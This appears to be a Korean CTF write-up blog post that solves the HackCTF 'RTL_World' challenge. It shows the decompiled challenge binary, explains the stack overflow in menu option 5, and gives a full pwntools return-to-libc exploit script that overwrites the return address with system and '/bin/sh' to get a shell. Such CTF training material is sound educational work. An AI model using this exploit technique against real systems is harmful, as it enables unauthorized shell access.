ii4gsp

HackCTF - RTL_World 본문

시스템 해킹/HackCTF

HackCTF - RTL_World

ii4gsp 2020. 2. 15. 23:18

RTL을 이용하는 문제인것같다.

파일을 다운받아 주자.

 

 

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+10h] [ebp-90h]
  char buf; // [esp+14h] [ebp-8Ch]
  void *v6; // [esp+94h] [ebp-Ch]
  void *handle; // [esp+98h] [ebp-8h]
  void *s1; // [esp+9Ch] [ebp-4h]

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v6 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
    ;
  puts("\n\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\n");
  printf("Your Gold : %d\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        system("clear");
        puts("[Binary Boss]\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\n");
        break;
      case 2:
        Get_Money();
        break;
      case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\n", v6);
        }
        break;
      case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
      default:
        continue;
    }
  }
}

IDA로 파일을 열어보면 scanf()함수로 switch문의 메뉴를 선택한다.

case 5번을보면 read()함수로 RET를 조작할 수 있다.

system()함수의 주소와, "/bin/sh"의 주소를 구해주면 된다.

 

 

 

 

Exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3010)
e = ELF('/home/ii4gsp/HackCTF/rtl_world')

r.recvuntil('>>> ')
r.sendline('5')

system = e.plt['system']
print hex(system)
binsh = e.search("/bin/sh").next()
print hex(binsh)

payload = ''
payload += '\x90' * 144
payload += p32(system)
payload += '\x90' * 4
payload += p32(binsh)

r.sendline(payload)

r.interactive()

소스코드를 작성해주자.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - Poet  (0) 2020.02.16
HackCTF - g++ pwn  (0) 2020.02.16
HackCTF - Yes_or_no  (0) 2020.02.10
HackCTF - BOF_PIE  (0) 2020.02.09
HackCTF - Offset  (0) 2020.02.09
Comments